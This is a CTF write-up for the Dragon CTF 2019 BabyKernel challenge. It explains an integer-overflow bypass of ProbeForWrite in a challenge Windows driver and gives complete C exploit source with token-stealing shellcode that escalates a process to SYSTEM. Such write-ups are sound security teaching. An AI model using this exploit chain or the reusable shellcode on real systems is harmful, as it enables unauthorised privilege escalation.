BabyKernel - Dragon CTF 2019

May 12, 2020 7 minutes

Windows Kernel Exploitation challenge. ProbForWrite Bypass with integer overflow bug

Analysis

We have to escalate priveleges to SYSTEM through the vulnerable driver SecureDrv.sys. Analysing the driver and provided sample client code, we can see that the IOCTL handler handles three operations; protect, unprotect and act.

\\ IDA decompilation
switch ( v3->Parameters.Read.ByteOffset.LowPart )
  {
    case 0x226203u:
      v6 = Protect;
      goto LABEL_9;
    case 0x226207u:
      v6 = unProtect;
LABEL_9:
      func_pointer = v6;
      break;
    case 0x22620Bu:
      v5 = func_pointer(v3->Parameters.SetFile.DeleteHandle, v3->Parameters.Create.Options);
      if ( v4 )
      {
        ProbeForWrite(v4, 8ui64, 1u);
        *v4 = v5;
      }
      break;
    default:
      LODWORD(v5) = 0xC00000BB;
      break;
  }

IOCTL code

0x226203 - protect
0x226207 - unprotect
0x22620B - do action

We can see that the protect and unprotect IOCTL codes simply assign the respective function pointer to a variable. The function assigned to the variable is then called with the do_action IOCTL code. Protect function basically copies the data in the user pointer to a kernel pointer. This data can be retrieved from the kernel pointer using the unprotect function. Both protect and unprotect functions call ProbeForWrite to ensure that the data pointer we pass is a user space address. Protect copies the user data in to the kernel pointer and clears the user pointer.

__int64 __fastcall Protect(void *userptr, unsigned int userlen)
{
  void *ptr; // rdi
  unsigned __int64 len; // rsi

  ptr = userptr;
  if ( userlen > 0xFFF )
    return 0xFFFFFFFFC000000Di64;
  len = userlen;
  ProbeForWrite(userptr, userlen, 1u);
  memcpy(save, ptr, len);
  if ( len >= 0x1000 )
    _report_rangecheckfailure();
  save[len] = 0;
  memset(ptr, 0, len);
  return 0i64;
}

Unprotect does the opposite by copying the data in the kernel pointer to a user pointer that we control.

__int64 __fastcall Unprotect(_BYTE *userptr, unsigned int userlen)
{
  size_t len; // rbx
  _BYTE *ptr; // r14
  unsigned __int64 i; // rax

  len = userlen;
  ptr = userptr;
  ProbeForWrite(userptr, userlen + 1, 1u);
  i = -1i64;
  do
    ++i;
  while ( save[i] );
  if ( len >= i )
    len = i;
  memcpy(ptr, save, len);
  ptr[len] = 0;
  memset(save, 0, len);
  return 0i64;
}

Vulnerability

The length of the data is specified by the user. unprotect function is vulnerable to an integer overflow. If the length provided by the user is 0xffffffff, then the len argument of ProbForWrite becomes 0xffffffff+1 = 0x0. ProbForWrite doesn’t check the pointer passed as argument if the length argument is 0, thus kernel addresses pass the check.

; rbx = 0xffffffff+1 = 0x100000000    edx = 0x0
00000000000011DC      lea     edx, [rbx+1]    ; Length    
00000000000011DF      lea     r8d, [rsi+1]    ; Alignment
00000000000011E3      call    cs:ProbeForWrite

Exploitation

We can get an arbitary write with the ProbeForWrite bypass in unprotect.

Client code for arbitary write:

int action(int IOCTL_CODE, char* data, int len) {
	DWORD returned;
	BOOL success;
	success = DeviceIoControl(hDevice,
		IOCTL_CODE,
		NULL, NULL,
		nullptr, 0,
		&returned, nullptr
	);
	if (!success) {
		printf("failed");
		return -1;
	}

	success = DeviceIoControl(hDevice,
		IOCTL_ACT,
		data, len,
		nullptr, 0,
		&returned, nullptr
	);
	if (!success) {
		printf("failed");
		return -1;
	}

	return 1;
}

int ArbWrite(char * where, char * what, int len) {
	action(IOCTL_PROTECT, what, len);
	action(IOCTL_UNPROTECT, where, 0xffffffff);
	return 1;
}

The function pointer to be executed on the IOCTL call is stored in SecureDrv+0x4050, overwriting this value lets us call any function. We can call protect and unprotect IOCTL handles to get back our arbitary write primitive. Since the setup of the challenge impiles that we are in Medium Mandatory Level, we can use NtQuerySystemInformation to obtain the kernel addresses we need.

We overwrite the function pointer with ExAllocatePoolWithTag to get an executable region to write our privilege escalation shellcode and thus bypass SMEP. ExAllocatePoolWithTag has 3 arguments: PoolType, NumberOfBytes and PoolTag, we control the first 2 arguments, we don’t care about the tag. Looking at the IOCTL handler we can see that the return value of the function is passed back to the user, making it convenient to get the address of the rwx region.

Then we copy the shellcode to the pool using the arbitary write and then overwrite the function pointer with the address of the shellcode, and finally execute it. The shellcode replaces the security token of cmd.exe(the parent of the exploit process) with that of the system process.

// https://improsec.com/tech-blog/windows-kernel-shellcode-on-windows-10-part-1
// Windows 10 x64 EoP shellcode (stealing token) 
// Elevates privelege of parent process (cmd.exe)

mov r9, qword ptr gs:[0x188]
mov r9, qword ptr[r9+0x220]
mov r8, qword ptr[r9+0x3e0]
mov rax, r9
loop1:
mov rax, qword ptr[rax+0x2f0]
sub rax, 0x2f0
cmp qword ptr[rax+0x2e8], r8
jne loop1
mov rcx, rax
add rcx, 0x358
mov rax, r9
loop2:
mov rax, qword ptr[rax+0x2f0]
sub rax, 0x2f0
cmp qword ptr [rax+0x2e8], 4
jne loop2
mov rdx, rax
add rdx, 0x358
mov rdx, qword ptr [rdx]
mov qword ptr [rcx], rdx
ret

An important thing to note when performing the arbitary write is the presence of null bytes in the data to be written. The unprotect function writes data to the pointer only until the first null byte. You can write in parts to write the whole data, especially in case of the EoP shellcode. You cannot write the function pointer in parts as the function pointer itself needs to be set to perform a write in te first place.

We will be overwriting the function pointer twice; once with ExAllocatePoolWithTag and then with pool address containing our payload. So we cannot have any null bytes in these addresses. The exploit may have to be run a number of times after restarting the system to get null free kernel addresses.

#include<windows.h>

#include<winternl.h>

#include<stdio.h>


#pragma comment(lib,"ntdll.lib")


#define IOCTL_PROTECT 0x226203

#define IOCTL_UNPROTECT 0x226207

#define IOCTL_ACT 0x22620b


HANDLE hDevice;

char EoP[] = "\x65\x4C\x8B\x0C\x25\x88\x01\x00\x00\x4D\x8B\x89\x20\x02\x00\x00\x4D\x8B\x81\xE0\x03\x00\x00\x4C\x89\xC8\x48\x8B\x80\xF0\x02\x00\x00\x48\x2D\xF0\x02\x00\x00\x4C\x39\x80\xE8\x02\x00\x00\x75\xEA\x48\x89\xC1\x48\x81\xC1\x58\x03\x00\x00\x4C\x89\xC8\x48\x8B\x80\xF0\x02\x00\x00\x48\x2D\xF0\x02\x00\x00\x48\x83\xB8\xE8\x02\x00\x00\x04\x75\xE9\x48\x89\xC2\x48\x81\xC2\x58\x03\x00\x00\x48\x8B\x12\x48\x89\x11\xC3";


#define SystemModuleInformation 11

#define SystemExtendedProcessInformation 57

#define SystemHandleInformation 16


typedef struct _RTL_PROCESS_MODULE_INFORMATION {
	HANDLE Section;
	PVOID MappedBase;
	PVOID ImageBase;
	ULONG ImageSize;
	ULONG Flags;
	USHORT LoadOrderIndex;
	USHORT InitOrderIndex;
	USHORT LoadCount;
	USHORT OffsetToFileName;
	UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;

typedef struct _RTL_PROCESS_MODULES {
	ULONG NumberOfModules;
	RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;

ULONG64 getDrvBase(const char* drvName) {
	NTSTATUS status;
	ULONG i;
	PRTL_PROCESS_MODULES ModuleInfo;

	ModuleInfo = (PRTL_PROCESS_MODULES)VirtualAlloc(NULL, 1024 * 1024, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // Allocate memory for the module list
	if (!ModuleInfo) {
		printf("VirtualAlloc failed (%d)\n", GetLastError());
		return -1;
	}

	if (!NT_SUCCESS(status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, ModuleInfo, 1024 * 1024, NULL))) {
		printf("NtQuerySystemInformation failed(%#x)\n", status);
		VirtualFree(ModuleInfo, 0, MEM_RELEASE);
		return -1;
	}

	ULONG64 drvBase = 0;
	printf("looking for %s ....", drvName);
	for (i = 0; i < ModuleInfo->NumberOfModules; i++) {
		//printf("Image Name  = %s\n", (char *)ModuleInfo->Modules[i].FullPathName + ModuleInfo->Modules[i].OffsetToFileName);
		if (strcmp((const char*)ModuleInfo->Modules[i].FullPathName + ModuleInfo->Modules[i].OffsetToFileName, drvName) == 0) {
			drvBase = (ULONG64)ModuleInfo->Modules[i].ImageBase;
			printf("\n%s : Image Base = %p\n", drvName, (PVOID64)drvBase);

		}
	}
	VirtualFree(ModuleInfo, 0, MEM_RELEASE);

	return drvBase;
}

int action(int IOCTL_CODE, char* data, int len) {
	DWORD returned;
	BOOL success;
	success = DeviceIoControl(hDevice,
		IOCTL_CODE,
		NULL, NULL,
		nullptr, 0,
		&returned, nullptr
	);
	if (!success) {
		printf("failed");
		return -1;
	}

	success = DeviceIoControl(hDevice,
		IOCTL_ACT,
		data, len,
		nullptr, 0,
		&returned, nullptr
	);
	if (!success) {
		printf("failed");
		return -1;
	}

	return 1;
}

int arbWrite(char* where, char* what, int len) {
	int i = 0;
	DWORD n = 0;
	HANDLE hHeap = GetProcessHeap();
	char* addr = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, len + 0x10);
	memcpy(addr, what, len);
	for (i = 0; i < len;) {
		n = strlen(addr);
		if (n == 0)
			n++;
		action(IOCTL_PROTECT, addr + i, n);
		action(IOCTL_UNPROTECT, where + i, 0xffffffff);
		i = i + n;
	}
	HeapFree(hHeap, 0, addr);
	return 1;
}


int main() {
	hDevice = CreateFile(L"\\\\.\\SecureStorage", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (hDevice == INVALID_HANDLE_VALUE) {
		printf("Failed to open device");
		return -1;
	}

	ULONG64 ntoskrnl = getDrvBase("ntoskrnl.exe");
	ULONG64 SecureDrv = getDrvBase("SecureDrv.sys");
	ULONG64 func_ptr = SecureDrv + 0x4050;

	HMODULE hNtos = LoadLibrary(L"ntoskrnl.exe");
	if (hNtos == NULL) {
		printf("LoadLibrary failed\n");
		exit(0);
	}

	ULONG64 ExAllocatePoolWithTag = (ULONG64)GetProcAddress(hNtos, "ExAllocatePoolWithTag");
	if (ExAllocatePoolWithTag == NULL) {
		printf("GetProcAddress Failed\n");
		exit(0);
	}

	ExAllocatePoolWithTag = ntoskrnl + (ExAllocatePoolWithTag - (ULONG64)hNtos);
	printf("ExAllocatePoolWithTag = %p\n", ExAllocatePoolWithTag);
	if (strlen((char*)&ExAllocatePoolWithTag) < 8) {
		printf("ExAllocatePoolWithTag contains null\n");
		return -1;
	}

	// Overwrite function pointer with address of ExAllocatePoolWithTag
	arbWrite((char*)func_ptr, (char*)(&ExAllocatePoolWithTag), 0x8);

	// Allocate executable region and retrive the address.
	DWORD NonPagedPoolExecute = 0;
	DWORD returned;
	ULONG64 shellAddr = 0;
	int i = 20;
	while (--i) {
		shellAddr = 0;
		DeviceIoControl(hDevice,
			IOCTL_ACT,
			(LPVOID)NonPagedPoolExecute, 0x1000,
			&shellAddr, 0,
			&returned, nullptr
		);
		shellAddr++;
		if (strlen((char*)&shellAddr) >= 8)
			break;
	}

	printf("Shellcode Addr = %p\n", shellAddr);
	if (i == 0) {
		printf("Failed to get null free pool addr\n");
		return -1;
	}



	shellAddr = shellAddr + 1;
	// Write shellcode to kernel pool 
	arbWrite((char*)shellAddr, EoP, 0x100);

	// Write shellcode addr to function pointer
	arbWrite((char*)func_ptr, (char*)(&shellAddr), 0x8);

	// Execute token stealing shellcode
	DeviceIoControl(hDevice,
		IOCTL_ACT,
		NULL, NULL,
		nullptr, 0,
		&returned, nullptr
	);


	CloseHandle(hDevice);
}